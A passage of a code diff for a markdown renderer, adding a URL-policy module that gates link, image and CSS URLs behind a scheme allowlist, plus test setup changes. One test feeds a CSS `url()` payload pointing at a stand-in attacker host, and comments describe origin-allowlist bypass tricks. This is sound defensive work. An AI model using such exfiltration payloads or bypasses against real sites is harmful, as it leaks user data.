+  })
+
+  it('falls back rather than throwing when the CSS parser rejects outright', () => {
+    const globals = globalThis as { CSSStyleSheet?: unknown }
+    const saved = globals.CSSStyleSheet
+    globals.CSSStyleSheet = function Broken() {
+      throw new Error('no constructible stylesheets here')
+    }
+    try {
+      const out = filterCss('.a{background:url(https://attacker.example/z)}', () => null)
+      assert.doesNotMatch(out, /attacker\.example/, 'the fallback still filters')
+    } finally {
+      globals.CSSStyleSheet = saved
+    }
+  })
+})
diff --git a/src/url-policy.ts b/src/url-policy.ts
new file mode 100644
index 0000000..adf6383
--- /dev/null
+++ b/src/url-policy.ts
@@ -0,0 +1,283 @@
+import { activeConfig } from './config.ts'
+
+// PROTOTYPE (#url-policy): one host-controlled gate every URL the renderer is
+// about to emit passes through — modelled on the `TrustedURL` type Trusted Types
+// dropped in w3c/trusted-types#65.
+//
+// TrustedURL died for two reasons: enforcing it across the platform's unbounded
+// URL sink surface broke too much ("linking to other content is common in the
+// web"), and the residual non-XSS risks — off-site navigation, third-party
+// subresource loads, stylesheet-based exfiltration — were delegated to CSP's
+// `*-src` directives. Neither objection transfers to a markdown renderer:
+//
+//   - the sink surface here is small and enumerable, because this package emits
+//     it. Every URL-bearing position routes through `applyUrlPolicy`, so
+//     "the policy sees every URL" is a property the package can actually hold.
+//   - a library cannot set the host's CSP, so the delegation target does not
+//     exist at this layer. That is exactly why mermaid's post-sink SVG can
+//     exfiltrate today (`<img>` inside `<foreignObject>`, `url()` in an injected
+//     `<style>`) with an origin policy installed and no effect.
+//
+// The synthesis the issue points at: the platform concluded it should simply
+// hard-block `javascript:` after parsing, rather than ask developers to sanitize
+// every `href`. So that stays the FLOOR here — the scheme allowlist
+// (`safeLinkHref` / `isAllowedHref`) runs first and a host policy cannot lift it.
+// Everything *above* the floor is the developer's, which is what TrustedURL
+// offered and what this package has no way to express today.
+//
+// Off by default: with no policy installed every call is one null check and
+// returns the URL unchanged, so output stays byte-identical (the package
+// invariant).
+
+/**
+ * What the URL is about to be used for. The distinction TrustedURL lacked, and
+ * a large part of why it was unusable: a cross-origin destination is ordinary
+ * for a link the reader chooses to follow, and an unattended exfiltration
+ * channel for a subresource the browser fetches on its own.
+ */
+export type UrlSink =
+  /** A destination the reader must act on: `<a href>`, SVG `<a xlink:href>`. */
+  | 'navigation'
+  /** Fetched automatically on render: `<img src>`, SVG `<image href>`, `<use>`. */
+  | 'image'
+  /** A `url()` inside a `<style>` element or a `style` attribute — also automatic. */
+  | 'style'
+
+/** Which tier of markup the URL came from. */
+export type UrlSource =
+  /** The markdown renderer's own output, or raw HTML passed through it. */
+  | 'markdown'
+  /** Diagram-backend output injected after the sink (mermaid SVG). */
+  | 'diagram'
+  /** Math-backend output injected after the sink (KaTeX HTML). */
+  | 'math'
+
+/** One URL presented to {@link UrlPolicy.createURL} for a decision. */
+export interface UrlRequest {
+  /** The destination exactly as it appears in the markup, before any rewriting. */
+  raw: string
+  /**
+   * `raw` resolved and canonicalized by the WHATWG URL parser, with any embedded
+   * credentials stripped — the string the browser would actually act on — or
+   * `null` when it does not resolve to a URL at all.
+   *
+   * Compare against THIS, not against {@link raw}. Prefix-matching a raw string
+   * is where origin allowlists get bypassed: `https://good.com@evil.com` starts
+   * with `https://good.com` but navigates to evil.com, and case-folding, `\` for
+   * `/`, scheme-relative `//host`, and unicode host confusables all read as
+   * something they are not. The parser folds every one of those.
+   */
+  url: URL | null
+  /** What the URL will be used for — see {@link UrlSink}. */
+  sink: UrlSink
+  /** Which tier of markup produced it — see {@link UrlSource}. */
+  source: UrlSource
+  /** Lowercased tag name the URL lands on, when known (`a`, `img`, `image`, `use`). */
+  element?: string
+  /** Attribute name it lands on, when known (`href`, `xlink:href`, `src`). */
+  attribute?: string
+}
+
+/**
+ * Host policy consulted for every URL this package emits. Supply per render via
+ * `MarkdownConfig.urlPolicy`; `null` (the default) disables it entirely and
+ * every URL is emitted unchanged.
+ *
+ * `createURL` returns the URL to use — which need not be the one it was given —
+ * or `null` to block it. Returning a value rather than a boolean is the point of
+ * the TrustedURL shape: a host can proxy a subresource through its own fetcher,
+ * or keep the origin and drop the query, which is where an exfiltrated payload
+ * almost always rides.
+ *
+ * ```ts
+ * renderMarkdown(md, {
+ *   urlPolicy: {
+ *     baseOrigin: 'https://app.example.com',
+ *     createURL: ({ url, sink }) =>
+ *       sink === 'navigation'
+ *         ? (url?.href ?? null)                                    // links: anywhere
+ *         : url?.origin === 'https://app.example.com' ? url.href : null, // fetches: same-origin
+ *   },
+ * })
+ * ```
+ *
+ * **Synchronous.** The render pass is synchronous, so `createURL` cannot await a
+ * remote allowlist. Resolve that data before rendering.
+ *
+ * **Not a scheme gate.** `javascript:`/`data:`/`vbscript:` are rejected by the
+ * scheme allowlist before a policy ever sees them, and a policy cannot admit
+ * them by returning them — keep scheme decisions in `safeHrefSchemes`.
+ */
+export interface UrlPolicy {
+  createURL(request: UrlRequest): string | null
+  /**
+   * Absolute origin (e.g. `https://app.example.com`) that relative destinations
+   * are resolved against to produce {@link UrlRequest.url}. Defaults to the
+   * document's base URI in a DOM, and when neither is available a relative
+   * destination arrives with `url: null` (the policy still decides).
+   */
+  baseOrigin?: string
+}
+
+/**
+ * Resolve and canonicalize for comparison: run the WHATWG parser (optionally
+ * against `base`) and drop any embedded credentials. Returns `null` when the
+ * value is not a resolvable URL.
+ */
+function canonicalizeUrl(raw: string, base: string | undefined): URL | null {
+  let url: URL
+  try {
+    url = base === undefined ? new URL(raw) : new URL(raw, base)
+  } catch {
+    return null
+  }
+  if (url.username || url.password) {
+    url.username = ''
+    url.password = ''
+  }
+  return url
+}
+
+/** The document's base URI when there is a DOM, so relative refs resolve by default. */
+function ambientBase(): string | undefined {
+  return typeof document === 'undefined' ? undefined : document.baseURI
+}
+
+/**
+ * Present one URL to the active {@link UrlPolicy} and return what should be
+ * emitted, or `null` when the policy blocks it. A no-op returning `raw` when no
+ * policy is installed.
+ *
+ * Same-document fragment references (`#footnote-1`, `url(#arrowhead)`) are
+ * returned unchecked: they cannot leave the document, they are not a channel,
+ * and mermaid emits a handful per diagram for its marker definitions — blocking
+ * them removes every arrowhead in the output.
+ */
+/**
+ * Default URL schemes permitted on a link/image destination. Anything carrying
+ * a scheme outside the active set — `javascript:`, `data:`, `vbscript:`,
+ * `file:`, and every unknown scheme — is rejected. An allowlist fails *closed*:
+ * a new dangerous scheme is blocked by default, unlike a denylist that only
+ * knows the three it was told about. Relative/absolute paths, fragments, and
+ * query-only destinations carry no scheme and are always allowed.
+ */
+export const DEFAULT_SAFE_HREF_SCHEMES: readonly string[] = [
+  'http',
+  'https',
+  'mailto',
+  'tel',
+  'sms',
+  'ftp',
+  'ftps',
+]
+
+const HREF_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):/
+
+const DEFAULT_SAFE_HREF_SCHEMES_SET: ReadonlySet<string> = new Set(DEFAULT_SAFE_HREF_SCHEMES)
+
+// `config.safeHrefSchemes` is an arbitrary iterable of possibly-mixed-case scheme
+// names; resolve it to a lowercased Set once per distinct config value (the read
+// runs per link/image destination).
+let cachedSchemesSource: Iterable<string> | null | undefined
+let cachedSchemes: ReadonlySet<string> = DEFAULT_SAFE_HREF_SCHEMES_SET
+function activeSafeHrefSchemes(): ReadonlySet<string> {
+  const source = activeConfig().safeHrefSchemes
+  if (source == null) return DEFAULT_SAFE_HREF_SCHEMES_SET
+  if (source !== cachedSchemesSource) {
+    cachedSchemesSource = source
+    cachedSchemes = new Set(Array.from(source, (scheme) => scheme.toLowerCase()))
+  }
+  return cachedSchemes
+}
+
+/**
+ * The scheme allowlist currently enforced by {@link safeLinkHref}.
+ *
+ * @internal Introspection getter that reads the ambient render config; outside
+ * a render it returns {@link DEFAULT_SAFE_HREF_SCHEMES}. Not part of the stable v1
+ * surface (#147) — scope behaviour via `MarkdownConfig.safeHrefSchemes` instead
+ * (the default constant stays stable). Not exported from the package entry since 1.0.
+ */
+export function getSafeHrefSchemes(): string[] {
+  return [...activeSafeHrefSchemes()]
+}
+
+/**
+ * True when `href` is a relative destination or carries an allowlisted scheme.
+ * Exported so angle autolinks share the exact allowlist markdown links use
+ * (#139) — autolink destinations are verbatim (no escapes to decode first).
+ */
+export function isAllowedHref(href: string): boolean {
+  const scheme = HREF_SCHEME_RE.exec(href)?.[1]
+  return scheme === undefined || activeSafeHrefSchemes().has(scheme.toLowerCase())
+}
+
+// The emphasis pass probes for link boundaries by rendering a candidate link and
+// keeping only its end offset (`linkOrImageEndAt`). That markup is discarded, so
+// presenting its URLs to the host would double every call, over-report in a
+// policy that counts or logs, and let a host decision change how emphasis pairs.
+// Suppressed during a probe; nested renders inside one are probes too.
+let probing = false
+
+/** Run `fn` with the policy suppressed — for markup that is parsed and thrown away. @internal */
+export function withUrlPolicySuppressed<T>(fn: () => T): T {
+  const previous = probing
+  probing = true
+  try {
+    return fn()
+  } finally {
+    probing = previous
+  }
+}
+
+export function applyUrlPolicy(
+  raw: string,
+  sink: UrlSink,
+  source: UrlSource,
+  element?: string,
+  attribute?: string,
+): string | null {
+  if (probing) return raw
+  const policy = activeConfig().urlPolicy
+  if (!policy) return raw
+  if (raw.startsWith('#')) return raw
+  const decided = policy.createURL({
+    raw,
+    url: canonicalizeUrl(raw, policy.baseOrigin ?? ambientBase()),
+    sink,
+    source,
+    ...(element === undefined ? {} : { element }),
+    ...(attribute === undefined ? {} : { attribute }),
+  })
+  // The floor applies to the policy's answer, not just its question: a host
+  // cannot hand back `javascript:` (or any scheme outside `safeHrefSchemes`) and
+  // have it emitted. Without this the guarantee holds only on the sanitized path,
+  // where the sink happens to catch it — not for `renderMarkdownUnsafe`, and not
+  // for post-sink diagram markup, which never reaches the sink at all.
+  if (decided !== null && !isAllowedHref(decided)) return null
+  return decided
+}
+
+/** Whether a {@link UrlPolicy} is installed for the current render. */
+export function hasUrlPolicy(): boolean {
+  return activeConfig().urlPolicy != null
+}
+
+/**
+ * Marker the inline emitters stamp on an `<a>`/`<img>` whose destination the
+ * policy has already decided, and that the sink gate consumes and removes.
+ *
+ * Without it the gate cannot tell a renderer-emitted link from one that arrived
+ * as raw HTML passthrough — they serialize identically — and would present every
+ * markdown URL to `createURL` a second time. That is harmless for a policy that
+ * only allows or blocks, and wrong for one that rewrites: a host proxying
+ * subresources would get `proxy?u=proxy?u=…`. The attribute exists only while a
+ * policy is installed and never survives the sink, so output is unchanged when
+ * the feature is off.
+ */
+export const URL_POLICY_MARKER_ATTR = 'data-smd-url-checked'
+
+/** The marker as an attribute fragment for the string emitters, or `''` when no policy is active. */
+export function urlPolicyMarkerAttr(): string {
+  return hasUrlPolicy() ? ` ${URL_POLICY_MARKER_ATTR}=""` : ''
+}
diff --git a/tests/setup-dom-jsdom.ts b/tests/setup-dom-jsdom.ts
index afb29b5..9f8f392 100644
--- a/tests/setup-dom-jsdom.ts
+++ b/tests/setup-dom-jsdom.ts
@@ -16,6 +16,16 @@ Object.assign(globalThis, {
   Element: win.Element,
   HTMLElement: win.HTMLElement,
   Node: win.Node,
+  // Needed by the post-sink URL filter, which parses markup in an inert
+  // (browsing-context-free) document before deciding what may be injected.
+  DOMParser: win.DOMParser,
+  // The same filter parses CSS with a constructible stylesheet. jsdom supports
+  // them, but only exposes the constructor on its window — without this the
+  // filter silently takes its no-CSSOM fallback and the real path is never
+  // tested. (jsdom does NOT build CSSOM for DOMParser/createHTMLDocument
+  // documents the way browsers do, which is why the filter does not rely on
+  // `style.sheet`.)
+  CSSStyleSheet: win.CSSStyleSheet,
 })
 
 // jsdom has no native Sanitizer API (`Element.setHTML`), so the default backend